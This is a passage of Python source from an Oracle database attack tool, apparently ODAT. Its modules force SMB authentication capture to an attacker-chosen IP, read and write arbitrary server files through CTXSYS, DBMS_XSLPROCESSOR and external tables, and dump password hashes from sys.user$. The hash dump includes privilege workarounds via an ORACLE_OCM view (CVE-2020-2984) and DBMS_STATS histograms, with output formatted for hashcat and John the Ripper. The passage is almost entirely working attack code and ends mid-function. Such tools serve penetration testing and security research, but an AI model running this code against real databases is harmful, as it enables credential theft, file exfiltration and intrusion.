			logging.info("The index named {0} has not been created: {1}".format(self.INDEX_NAME, self.cleanError(status)))
			return status
		else : 
			logging.info("The index named {0} is created. The SMB connection to \\\\{1}\\{2} is done.".format(self.INDEX_NAME, self.localIp, self.shareName))
			return True
		
	def deleteIndex (self):
		'''
		Delete the index
		'''
		logging.info("Dropping the index named {0}".format(self.INDEX_NAME))
		status = self.__execPLSQL__(self.SQL_DROP_INDEX.format(self.INDEX_NAME))
		if isinstance(status,Exception):
			logging.info("The index named {0} has not been dropped: {1}".format(self.INDEX_NAME, self.cleanError(status)))
			return status
		else : 
			logging.info("The index named {0} is dropped".format(self.INDEX_NAME, self.localIp, self.shareName))
			return True

	def captureSMBAuthentication (self, localIP, shareName):
		'''
		Capture the SMB authentication
		'''
		self.localIp = localIP
		self.shareName = shareName
		logging.info("Delete table and index if exist")
		self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting
		self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting
		logging.info("Capture the SMB authentication")
		if self.remoteSystemIsWindows() == True:
			logging.info("The remote server is Windows, good news")
			logging.info("Create the table and insert the share name in this one")
			status = self.createTable()
			if status == True:
				logging.info("Create an index")
				status = self.createIndex()
				if status == True:
					self.deleteIndex()
					self.deleteTable()
					return True
				else:
					self.deleteTable()
					return status
			else : 
				self.deleteTable()
				return status	
		else:
			logging.info("The remote server is Linux")
			return ErrorSQLRequest("The remote server is Linux")
		
	def testAll(self):
		'''
		Test all functions
		'''
		self.localIp = "127.0.0.1"
		self.shareName = "SHARE"
		logging.info("Delete table and index if exist")
		self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting
		self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting
		self.args['print'].subtitle("SMB authentication capture ?")
		if self.remoteSystemIsWindows() == True:
			logging.info("The remote server is Windows")
			logging.info("Simulate the table creation and insertion")
			status = self.createTable()
			if status == True:
				logging.info("Simulate the index creation")
				status = self.createIndex()
				if status != True:
					self.deleteIndex()
					self.args['print'].badNews("KO")
				else:
					self.args['print'].unknownNews("Perhaps (try with --capture to be sure)")
				self.deleteTable()
			else : 
				self.deleteTable()
				self.args['print'].badNews("KO")	
		else:
			logging.info("The remote server is Linux")
			self.args['print'].badNews("KO") def runSMBModule(args):
	'''
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module",'captureSMBAuthentication']) == False : return EXIT_MISS_ARGUMENT
	smb = SMB(args)
	status = smb.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if SMB authentication capture can be possible")
		status = smb.testAll()
	#Option 1: capture SMB authentication
	if args['captureSMBAuthentication'] !=None :
		args['print'].title("Try to capture the SMB authentication (Connection to \\\\{0}\\{1} )".format(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1]))
		status = smb.captureSMBAuthentication(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to capture the SMB authentication")
		else : 
			args['print'].goodNews("Check your SMB capture tool ...") class Ctxsys (OracleDatabase):
	'''
	Allow to use CTXSYS remotly
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Ctxsys object created")
		OracleDatabase.__init__(self,args)
		self.tableName = self.__generateRandomString__()
		self.indexName = self.__generateRandomString__()

	def __giveTheCxsysPriv__(self, user):
		'''
		Give the CTXSYS priv to the user with, for exemple:
		exec ctxsys.ctx_adm.set_parameter('file_access_role', 'public')
		'''
		logging.info('Try to give the file_access_role privilege to the current user')
		parameters = {'param_name':'file_access_role','param_value':user}
		cursor = cx_Oracle.Cursor(self.args['dbcon'])
		try :
			cursor.callproc(name="ctxsys.ctx_adm.set_parameter",keywordParameters=parameters)
		except Exception as e: 
			logging.info('Error with ctxsys.ctx_adm.set_parameter{0}'.format(self.cleanError(e)))
			return ErrorSQLRequest(e)
		return True

	def __createTable__(self):
		'''
		Create table name with, for exemple:
		CREATE TABLE rf1 (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6));
		'''
		logging.info('Create the table: {0}'.format(self.tableName))
		query = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))".format(self.tableName)
		response = self.__execThisQuery__(query=query,isquery=False)
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else : return True

	def __dropTable__(self):
		'''
		Drop the table with, for exemple
		DROP TABLE my_table PURGE; 
		'''
		logging.info('Drop the table: {0}'.format(self.tableName))
		query = "DROP TABLE {0} PURGE".format(self.tableName)
		response = self.__execThisQuery__(query=query,isquery=False)
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else : return True
		
	def __insertFileInTable__(self,fn):
		'''
		Insert into the table the file path with, for exemple:
		INSERT INTO rf1 VALUES (1, 'c:\temp.txt', NULL);		
		'''
		logging.info('Insert the following file path in the {0} table: {1}'.format(self.tableName,fn))
		query = "INSERT INTO {0} VALUES (1, '{1}', NULL)".format(self.tableName,fn)
		response = self.__execThisQuery__(query=query,isquery=False)
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else : return True

	def __createIndexToFile__(self):
		'''
		Create an index to the file
		CREATE INDEX fi1 ON rf1(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format');
		'''
		logging.info('Create an index named {0} to the file'.format(self.indexName))
		query = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')".format(self.indexName,self.tableName)
		response = self.__execThisQuery__(query=query,isquery=False)
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else : return True

	def __dropIndexToFile__(self):
		'''
		Drop index to the file
		DROP INDEX myindex;
		'''
		logging.info('Drop the index named {0}'.format(self.indexName))
		query = "DROP INDEX {0}".format(self.indexName)
		response = self.__execThisQuery__(query=query,isquery=False)
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else : return True

	def __getDataFromIndex__(self):
		'''
		Get data stored in file from the index
		'''
		logging.info('Get data stored in the file from the {0} index'.format(self.indexName))
		query = "Select token_text from dr${0}$i".format(self.indexName)
		response = self.__execQuery__(query=query,ld=['token_text'])
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else :
			if response == []: return ''
			else:
				data = ''
				for e in response : data += str(e['token_text']) + '\n' 
				return data

	def readAFile (self,nameFile):
		'''
		read a file on the remote server
		'''
		logging.info('Read the {0} file'.format(nameFile))
		status = self.__giveTheCxsysPriv__('public')
		status = self.__createTable__()
		if isinstance(status,Exception) : return status
		status = self.__insertFileInTable__(nameFile)
		if isinstance(status,Exception) : return status
		status = self.__createIndexToFile__()
		if isinstance(status,Exception) : return status
		data = self.__getDataFromIndex__()
		if data == '' : logging.info("The file is empty or it doesn't exist")
		self.__dropIndexToFile__()
		self.__dropTable__()
		return data

	def testAll (self):
		'''
		Test all functions
		'''
		self.args['print'].subtitle("CTXSYS library ?")
		logging.info("Try to read a random file with CTXSYS library")
		nameFile = self.__generateRandomString__()
		response = self.readAFile(nameFile)
		if response == '':
			self.args['print'].goodNews("OK")
			return True
		else :
			logging.info('Not enough privileges: {0}'.format(str(response)))
			self.args['print'].badNews("KO")
			return False def runCtxsysModule(args):
	'''
	Run the CTXSYS module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","getFile"]) == False : return EXIT_MISS_ARGUMENT
	ctxsys = Ctxsys(args)
	status = ctxsys.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the DBMSScheduler library can be used")
		status = ctxsys.testAll()
	#Option 1: read file
	if args['getFile'] !=None :
		args['print'].title("Read the {0} file on the {1} server".format(args['getFile'],args['server']))
		data = ctxsys.readAFile(args['getFile'])
		if isinstance(data,Exception):
			args['print'].badNews("Impossible to read the {0} file: {1}".format(args['getFile'],data))
		else : 
			if data == '' : args['print'].goodNews("The {0} file is empty or it doesn't exist".format(args['getFile']))
			else : args['print'].goodNews("Data stored in the {0} file (escape char replace by '\\n'):\n{1}".format(args['getFile'],data))		 class Passwords (OracleDatabase):
	'''
	Password guesser
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("Passwords object created")
		OracleDatabase.__init__(self,args)
		self.loadInformationRemoteDatabase()
		self.passwords = []

	def __resetPasswordList__(self):
		'''
		reset self.passwords
		'''
		self.passwords = []
		
	def __getLockedUsernames__(self):
		'''
		Returns a list which contains Oracle usernames (i.e accounts) who are locked
		Return Empty list if an error
		'''
		logging.info("Getting Oracle locked accounts...")
		lockedAccountList = []
		req =  "SELECT username, account_status FROM dba_users WHERE account_status != 'OPEN'"
		results = self.__execQuery__(query=req, ld=['username', 'account_status'])
		if isinstance(results,Exception):
			logging.info("Impossible to get locked Oracle accounts: {0}. Continue with empty list of account locked".format(results))
			return []
		else:
			logging.info("List of Oracle accounts locked gotten: {0}".format(results))
			for anAccount in results: lockedAccountList.append(anAccount['username'])
			return lockedAccountList

	def __tryToGetHashedPasswords__(self, blacklistOfUsernames=[]):
		'''
		Try to get hashed password
		If username is in the blacklist (blacklistOfUsernames), the account is not returned in results
		In Oracle 11g-12c+: select name, password, spare4 from sys.user$
		In Oracle 9-10: SELECT username, password FROM DBA_USERS;
		Notice: Some DBA users as SYSTEM are not able to access to sys.user$ table on 12c and +.
		'''
		currentUsername = ""
		isVersionHigh11 = False
		self.__resetPasswordList__()
		if self.isDBVersionHigherThan11():
			logging.debug("Oracle Database >= 11g, use sys.user$ table for getting passwords")
			req = "SELECT name, password, spare4 FROM sys.user$"
			results = self.__execQuery__(query=req,ld=['name', 'password','spare4'])
			isVersionHigh11 = True
		else :
			logging.debug("Oracle Database < 11g, use DBA_USERS table for getting passwords")
			req =  "SELECT username, password FROM DBA_USERS"
			results = self.__execQuery__(query=req,ld=['username', 'password'])
			isVersionHigh11 = False
		if isinstance(results,Exception):
			logging.info("Impossible to get hashed passwords: {0}".format(results))
			return results
		else :
			logging.info("Get hashed passwords")
			for anAccount in results:
				if isVersionHigh11 == True: currentUsername = anAccount['name']
				else: currentUsername = anAccount['username']
				if currentUsername in blacklistOfUsernames:
					logging.debug("The account {0} will be not in hashed password list because this account is locked".format(currentUsername))
				else :
					self.passwords.append(anAccount)
		return True

	def __tryToGetHashedPasswordsfromHistory__(self):
		'''
		Try to get hashed password from select * from sys.user_history$;
		PASSWORD_REUSE_TIME or/and PASSWORD_REUSE_MAX must be used to have passwords in this table
		'''
		self.__resetPasswordList__()
		req = "SELECT user#, password, password_date FROM sys.user_history$"
		results = self.__execQuery__(query=req,ld=['user#', 'password','password_date'])
		if isinstance(results,Exception):
			logging.info("Impossible to get hashed passwords from the sys.user_history$ table: {0}".format(results))
			return results
		else :
			logging.info("Get hashed passwords from the sys.user_history$ table")
			for l in results:
				self.passwords = results
		return True

	def __tryToGetHashedPasswordsWithOracleOCM__(self, blacklistOfUsernames=[]):
		'''
		Try to get hashed password with Oracle_OCM to bypass restrictions (with system account for example) on 12c and +
		Only valid on Oracle Database >= 12c
		If username is in the blacklist (blacklistOfUsernames), the account is not returned in results
		Return an Error object if a problem. Otherwise return True if hashes has been got. Otherwise False
		'''
		currentUsername = ""
		self.__resetPasswordList__()
		if self.isDBVersionHigherThan12():
			logging.info("Trying to get hashes Oracle_OCM view ")
			randomViewName = generateRandomString(length=10)
			REQ_CREATE_VIEW = "CREATE OR REPLACE VIEW oracle_ocm.{0} AS SELECT name, password, spare4 FROM sys.user$".format(randomViewName)
			REQ_DELETE_VIEW = "DROP VIEW oracle_ocm.{0}".format(randomViewName)
			REQ_GET_PWDS    = "SELECT name, password, spare4 FROM oracle_ocm.{0}".format(randomViewName)
			status = self.__execPLSQL__(REQ_CREATE_VIEW)
			if isinstance(status, Exception):
				#Sometimes error " missing keyword", retry in this case
				if "ORA-00905" in str(status):
					status = self.__execPLSQL__(REQ_CREATE_VIEW)
					if isinstance(status, Exception):
						logging.info("Impossible to create the view in oracle_ocm: {0}".format(self.cleanError(status)))
						return status
			results = self.__execQuery__(query=REQ_GET_PWDS,ld=['name', 'password','spare4'])
			status = self.__execPLSQL__(REQ_DELETE_VIEW)
			if isinstance(status, Exception):
				logging.error("Impossible to drop view in oracle_ocm: {0}".format(self.cleanError(status)))
		else:
			logging.warning("Hashes can not be got with Oracle_OCM. This method is only valid when database is 12c or higher")
			return False
		if isinstance(results, Exception):
			logging.info("Impossible to get hashed passwords: {0}".format(results))
			return results
		else:
			logging.info("Get hashed passwords")
			for anAccount in results:
				currentUsername = anAccount['name']
				if currentUsername in blacklistOfUsernames:
					logging.debug( "The account {0} will be not in hashed password list because this account is locked".format(currentUsername))
				else:
					self.passwords.append(anAccount)
		return True

	def getHashedPasswordsWithDBMS_STATS(self):
		'''
		Try to get user, password and spare4 from sys.user$ with DBMS_STAT module.
		Some users are not allowed to access to user$ table directly (e.g. SYSTEM user). With DBMS_STAT module,
		the user can elevate his privileges and he can access to credetnials stored in user$ table.
		Tested on 18c & 19c but should work in older versions (>=11).
		Privilege required: ANALYZE ANY DICTIONARY or OEM_MONITOR role
		See http://www.red-database-security.com/wp/best_of_oracle_security_2020.pdf for details.
		Return 3 lists: a list of usernames, list of passwords, and a list of spare4.
		Return Exception if an error
		'''
		names, passwords, spare4s = [], [], []
		REQ_GATHER_STATS = """
		BEGIN DBMS_STATS.GATHER_TABLE_STATS(
			ownname => 'SYS',
			tabname => 'USER$',
			method_opt => 'FOR COLUMNS NAME size 255, PASSWORD size 255, SPARE4 size 255');
		END;
		"""
		REQ_SELECT_NAME = "SELECT endpoint_actual_value FROM all_tab_histograms WHERE table_name='USER$' and column_name='NAME'"
		REQ_SELECT_PASSWORD = "SELECT endpoint_actual_value FROM all_tab_histograms WHERE table_name='USER$' and column_name='PASSWORD'"
		REQ_SELECT_SPARE4 = "SELECT endpoint_actual_value FROM all_tab_histograms WHERE table_name='USER$' and column_name='SPARE4'"
		REQ_DEL_STATS = """
		BEGIN DBMS_STATS.DELETE_TABLE_STATS(
   			ownname => 'SYS',
   			tabname => 'USER$');
		END;
		"""
		logging.info("Trying to get hashes with DBMS_STAT module...")
		if self.isDBVersionHigherThan11() == True:
			logging.info("Gather table and column statistics")
			status = self.__execPLSQL__(REQ_GATHER_STATS)
			if isinstance(status, Exception):
				logging.info("Impossible to use DBMS_STAT for getting hashes stored in sys.userp$: {0}".format(status))
				return status, None, None
			logging.info("Get name, password and spare4 columns")
			resultsName = self.__execQuery__(query=REQ_SELECT_NAME, ld=['NAME'])
			if isinstance(resultsName, Exception):
				logging.warning("Impossible to get name via DBMS_STAT: {0}".format(resultsName))
			for aR in resultsName:
				names.append(aR['NAME'])
			resultsPassword = self.__execQuery__(query=REQ_SELECT_PASSWORD, ld=['PASSWORD'])
			if isinstance(resultsPassword, Exception):
				logging.warning("Impossible to get password via DBMS_STAT: {0}".format(resultsPassword))
			for aR in resultsPassword:
				passwords.append(aR['PASSWORD'])
			resultsSpare4 = self.__execQuery__(query=REQ_SELECT_SPARE4, ld=['SPARE4'])
			if isinstance(resultsSpare4, Exception):
				logging.warning("Impossible to get spare4 via DBMS_STAT: {0}".format(resultsSpare4))
			for aR in resultsSpare4:
				spare4s.append(aR['SPARE4'])
			logging.info("Delete table-related statistics")
			status = self.__execPLSQL__(REQ_DEL_STATS)
			if isinstance(status, Exception):
				logging.warning("Impossible to delete table-related statistics: {0}".format(status))
			return names, passwords, spare4s
		else:
			logging.info("Get hashes with DBMS_STAT is only valid when Oracle Database >=11g")
			error = ErrorSQLRequest("Get hashes with DBMS_STAT is only valid when Oracle Database >=11g? It is not the case here.")
			return error, None, None


	def printPasswords (self):
		'''
		print passwords
		'''	
		for l in self.passwords:
			if len(l)==3 and 'name' in l and 'spare4' in l and 'password' in l:
				if (l['password']!=None or l['spare4']!=None): print("{0}; {1}; {2}".format(l['name'], l['password'],l['spare4']))
			elif 'username' in l and 'password' in l:
				if l['password']!=None : print("{0}:{1}".format(l['username'], l['password']))
			elif 'user#' in l and 'password' in l and 'password_date' in l:
				if l['password']!=None : print("{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date']))
		
	def printPasswordsOclHashcat (self):
		'''
		print 10g Oracle hashed for hashcat
		'''	
		for l in self.passwords:
			if 'name' in l and 'password' in l:
				if l['password']!=None and ' ' not in l['password']: print("{1}:{0}".format(l['name'], l['password']))
			elif 'username' in l and 'password' in l:
				if l['password']!=None : print("{1}:{0}".format(l['username'], l['password']))
			elif 'user#' in l and 'password' in l and 'password_date' in l:
				if l['password']!=None : print("{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date']))

	def printPasswordsJohn (self):
		'''
		print 10g Oracle hashed for john the ripper
		'''	
		for l in self.passwords:
			if 'name' in l and 'password' in l:
				if l['password']!=None and ' ' not in l['password']: print("{0}:{1}".format(l['name'], l['password']))
			elif 'username' in l and 'password' in l:
				if l['password']!=None : print("{0}:{1}".format(l['username'], l['password']))
			elif 'user#' in l and 'password' in l and 'password_date' in l:
				if l['password']!=None : print("{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date']))
		
	def testAll (self):
		'''
		Test all functions
		'''
		self.args['print'].subtitle("Hashed Oracle passwords ?")
		logging.info("Try to get Oracle hashed passwords")
		status = self.__tryToGetHashedPasswords__()
		if status == True :
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO")
			self.args['print'].subtitle("Hashed Oracle passwords with a view in ORACLE_OCM?")
			logging.info("Try to get Oracle hashed passwords with an ORACLE_OCM view")
			status = self.__tryToGetHashedPasswordsWithOracleOCM__()
			if status == True:
				self.args['print'].goodNews("OK")
			else:
				self.args['print'].badNews("KO")
			logging.info("Try to get Oracle hashed passwords via DBMS_STAT")
			names, passwords, spare4 = self.getHashedPasswordsWithDBMS_STATS()
			if isinstance(names, Exception):
				self.args['print'].badNews("KO")
			else:
				self.args['print'].goodNews("OK")
		self.args['print'].subtitle("Hashed Oracle passwords from history?")
		logging.info("Try to get Oracle hashed passwords from the history table")
		status = self.__tryToGetHashedPasswordsfromHistory__()
		if status == True :
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO") def runPasswordsModule(args):
	'''
	Run the Passwords module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","get-passwords","get-passwords-ocm","get-passwords-from-history", "get-passwords-not-locked","get-passwords-ocm-not-locked","get-passwords-dbms-stats"]) == False : return EXIT_MISS_ARGUMENT
	passwords = Passwords(args)
	status = passwords.connection(stopIfError=True)
	if ('info' in args)==False:
		info = Info(args)
		info.loadInformationRemoteDatabase()
		args['info'] = info
	if args['test-module'] == True :
		args['print'].title("Test if hashed passwords can be got")
		status = passwords.testAll()
	if args['get-passwords'] == True :
		args['print'].title("Try to get Oracle hashed passwords")
		status = passwords.__tryToGetHashedPasswords__()
		if status == True :
			args['print'].goodNews("Here are Oracle hashed passwords (some accounts can be locked):")
			passwords.printPasswords()
			args['print'].goodNews("Here are 10g Oracle hashed passwords for oclHashcat (some accounts can be locked):")
			passwords.printPasswordsOclHashcat()
			args['print'].goodNews("Here are 10g Oracle hashed passwords for John the Ripper (some accounts can be locked):")
			passwords.printPasswordsJohn()
		else : 
			args['print'].badNews("Impossible to get hashed passwords: {0}".format(status))
	if args['get-passwords-ocm'] == True :
		args['print'].title("Try to get Oracle hashed passwords with an ORACLE_OCM view (CVE-2020-2984)")
		status = passwords.__tryToGetHashedPasswordsWithOracleOCM__()
		if status == True :
			args['print'].goodNews("Here are Oracle hashed passwords (some accounts can be locked):")
			passwords.printPasswords()
			args['print'].goodNews("Here are 10g Oracle hashed passwords for oclHashcat (some accounts can be locked):")
			passwords.printPasswordsOclHashcat()
			args['print'].goodNews("Here are 10g Oracle hashed passwords for John the Ripper (some accounts can be locked):")
			passwords.printPasswordsJohn()
		else :
			args['print'].badNews("Impossible to get hashed passwords with an ORACLE_OCM view: {0}".format(status))
	if args['get-passwords-not-locked'] == True :
		args['print'].title("Try to get Oracle hashed passwords when the account is not locked")
		blacklistOfUsernames = passwords.__getLockedUsernames__()
		status = passwords.__tryToGetHashedPasswords__(blacklistOfUsernames)
		if status == True :
			args['print'].goodNews("Here are Oracle hashed passwords (all accounts are opened, not locked):")
			passwords.printPasswords()
			args['print'].goodNews("Here are 10g Oracle hashed passwords for oclHashcat (all accounts are opened, not locked):")
			passwords.printPasswordsOclHashcat()
			args['print'].goodNews("Here are 10g Oracle hashed passwords for John the Ripper (all accounts are opened, not locked):")
			passwords.printPasswordsJohn()
		else : 
			args['print'].badNews("Impossible to get hashed passwords: {0}".format(status))
	if args['get-passwords-ocm-not-locked'] == True :
		args['print'].title("Try to get Oracle hashed passwords with an ORACLE_OCM view (CVE-2020-2984) when the account is not locked")
		blacklistOfUsernames = passwords.__getLockedUsernames__()
		status = passwords.__tryToGetHashedPasswordsWithOracleOCM__(blacklistOfUsernames)
		if status == True :
			args['print'].goodNews("Here are Oracle hashed passwords (all accounts are opened, not locked):")
			passwords.printPasswords()
			args['print'].goodNews("Here are 10g Oracle hashed passwords for oclHashcat (some accounts can be locked):")
			passwords.printPasswordsOclHashcat()
			args['print'].goodNews("Here are 10g Oracle hashed passwords for John the Ripper (some accounts can be locked):")
			passwords.printPasswordsJohn()
		else :
			args['print'].badNews("Impossible to get hashed passwords with an ORACLE_OCM view: {0}".format(status))
	if args['get-passwords-from-history'] == True :
		args['print'].title("Try to get Oracle hashed passwords from history")
		status = passwords.__tryToGetHashedPasswordsfromHistory__()
		if status == True :
			args['print'].goodNews("Here are Oracle hashed passwords:")
			passwords.printPasswords()
		else : 
			args['print'].badNews("Impossible to get hashed passwords from history: {0}".format(status))
	if args['get-passwords-dbms-stats'] == True:
		names, passwords, spare4 = passwords.getHashedPasswordsWithDBMS_STATS()
		if isinstance(names, Exception):
			args['print'].badNews("Impossible to get hashed passwords with DBMS_STAT: {0}".format(names))
		else:
			args['print'].goodNews("Here are Oracle hashed passwords got with DBMS_STAT")
			logging.warning("Notice: With this method, impossible to have a link between passwords ('password' & 'spare4' culumns) and usernames ('name' column)")
			args['print'].goodNews("'name' column of sys.user$:")
			for aR in names:
				print(aR)
			args['print'].goodNews("'password' column of sys.user$:")
			for aR in passwords:
				print(aR)
			args['print'].goodNews("'spare4' column of sys.user$:")
			for aR in spare4:
				print(aR) class DbmsXslprocessor (DirectoryManagement):	
	'''
	Allow the user to write file on the remote database system with DbmsXslprocessor
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("DbmsXslprocessor object created")
		DirectoryManagement.__init__(self,args)

	def putFile (self, remotePath, remoteNameFile, data=None, localFile=None):
		'''
		Put a file on the remote database server
		Exemple : CREATE OR REPLACE DIRECTORY XML_DIR AS 'C:\temp\';
		exec dbms_xslprocessor.clob2file('dede', 'XML_DIR','outfile.txt');
		'''
		if (localFile == None and data==None) or (localFile != None and data!=None): 
			logging.critical("To put a file, choose between a localFile or data")
		if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile))
		else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile))
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		if localFile != None :
			data = self.__loadFile__(localFile)
		logging.debug("Decoding bytes as {0} before executing dbms_xslprocessor.clob2file".format(self.encoding))
		try:
			dataStr = data.decode(self.encoding)
		except Exception as e:
			logging.error("Impossible to decode as {0} bytes: {1} ({2})".format(self.encoding,repr(data), str(e)))
			return Exception(e)
		response = self.__execProc__("dbms_xslprocessor.clob2file",options=(dataStr, self.directoryName, remoteNameFile))
		if isinstance(response,Exception):
			logging.info("Impossible to create a file with dbms_xslprocessor: {0}".format(self.cleanError(response)))
			return response
		return True

	def getFile(self, remotePath, remoteNameFile, localFile):
		'''
		Get a file from the remote database server with READ2CLOB
		Save file in localFile
		'''
		READ2CLOB_GET_FILE = """
		DECLARE
			clob_value	CLOB			DEFAULT NULL;
			utlfile_directory   VARCHAR2 (100) DEFAULT '{0}';                                                                               
			filename            VARCHAR2 (100) DEFAULT '{1}';
		BEGIN
			clob_value :=  DBMS_XSLPROCESSOR.read2clob (flocation => utlfile_directory, fname => filename);
   			DBMS_OUTPUT.put_line (clob_value);
		END;
		"""
		data = ""
		logging.info('Trying to download the file `{0}` stored in {1}...'.format(remoteNameFile, remotePath))
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status, Exception): return status
		cursor = cx_Oracle.Cursor(self.args['dbcon'])
		cursor.callproc("dbms_output.enable")
		try:
			cursor.execute(READ2CLOB_GET_FILE.format(self.directoryName, remoteNameFile))
		except Exception as e:
			logging.info("Impossible to execute the query `{0}`: {1}".format(READ2CLOB_GET_FILE, self.cleanError(e)))
			self.__dropDirectory__()
			return ErrorSQLRequest(e)
		else:
			statusVar = cursor.var(cx_Oracle.NUMBER)
			lineVar = cursor.var(cx_Oracle.STRING)
			while True:
				cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
				if statusVar.getvalue() != 0: break
				line = lineVar.getvalue()
				if line == None: line = ''
				data += line
				logging.info(repr(line))
		cursor.close()
		logging.info("Creating local file {0}...".format(localFile))
		f = open(localFile,'w')
		f.write(data)
		f.close()
		return True

	def testAll (self):
		'''
		Test all functions
		'''
		folder = self.__generateRandomString__()	
		self.args['print'].subtitle("DBMS_XSLPROCESSOR library ?")
		logging.info("Simulate the file creation in the {0} folder with DBMS_XSLPROCESSOR".format(folder))
		logging.info('The file is not created remotly because the folder should not exist')
		status = self.putFile(folder,'temp.txt',data=b'data in file')
		if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status) or self.ERROR_FILEOPEN_FAILED in str(status):
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO") def runDbmsXslprocessorModule(args):
	'''
	Run the DbmsXslprocessor module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","putFile","getFile"]) == False : return EXIT_MISS_ARGUMENT
	dbmsXslprocessor = DbmsXslprocessor(args)
	status = dbmsXslprocessor.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the DBMSAdvisor library can be used")
		status = dbmsXslprocessor.testAll()
	#Option 1: putLocalFile
	if args['putFile'] != None:
		args['print'].title("Put the {0} local file in the {1} path (named {2}) of the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server']))
		status = dbmsXslprocessor.putFile(remotePath=args['putFile'][0], remoteNameFile=args['putFile'][1], localFile=args['putFile'][2])
		if status == True:
			args['print'].goodNews("The {0} local file was put in the remote {1} path (named {2})".format(args['putFile'][2],args['putFile'][0],args['putFile'][1]))
		else :
			args['print'].badNews("The {0} local file was not put in the remote {1} path (named {2}): {3}".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],str(status)))
	# Option 1: putLocalFile
	if args['getFile'] != None:
		args['print'].title("Get the {0} remote file from the {1} path (named {2}) of the {3} server".format(args['getFile'][2],
																							  args['getFile'][0],
																							  args['getFile'][1],
																							  args['server']))
		status = dbmsXslprocessor.getFile(remotePath=args['getFile'][0], remoteNameFile=args['getFile'][1],localFile=args['getFile'][2])
		if status == True:
			args['print'].goodNews("The {0} remote file was downloaded in {1}".format(args['getFile'][1], args['getFile'][2]))
		else:
			args['print'].badNews("The {0} remote file was not put in {1}: {2}".format(args['getFile'][1], args['getFile'][2],str(status)))
	dbmsXslprocessor.close() class ExternalTable (DirectoryManagement):	
	'''
	Allow the user to read file thanks to external tables
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("ExternalTable object created")
		DirectoryManagement.__init__(self,args)
		self.tableName = self.__generateRandomString__()
		self.__setDirectoryName__()
		self.ERROR_EXTERNAL_TABLE_WITH_WRITE = "ORA-30653: "
		self.ERROR_EXTERNAL_TABLE_READ ="ORA-29400: "
		self.ERROR_ODCIEXTTABLEOPEN="ORA-29913: "

	def __createTableForReadFile__(self,remoteNameFile):
		'''
		Create table name with, for exemple:
		CREATE TABLE rf1 (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6));
		'''
		logging.info('Create the table: {0}'.format(self.tableName))
		query = "CREATE TABLE {0} (line varchar2(256)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY {1} ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE BADFILE 'bad_data.bad' NOLOGFILE FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL REJECT ROWS WITH ALL NULL FIELDS (line)) LOCATION ('{2}')) PARALLEL REJECT LIMIT 0 NOMONITORING".format(self.tableName, self.directoryName, remoteNameFile)
		response = self.__execThisQuery__(query=query,isquery=False)
		if isinstance(response,Exception) :
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return response
		else : return True

	def __createTableForExec__(self,remoteNameFile):
		'''
		Create a table in order to execute a command
		'''
		logging.info('Create the table: {0}'.format(self.tableName))
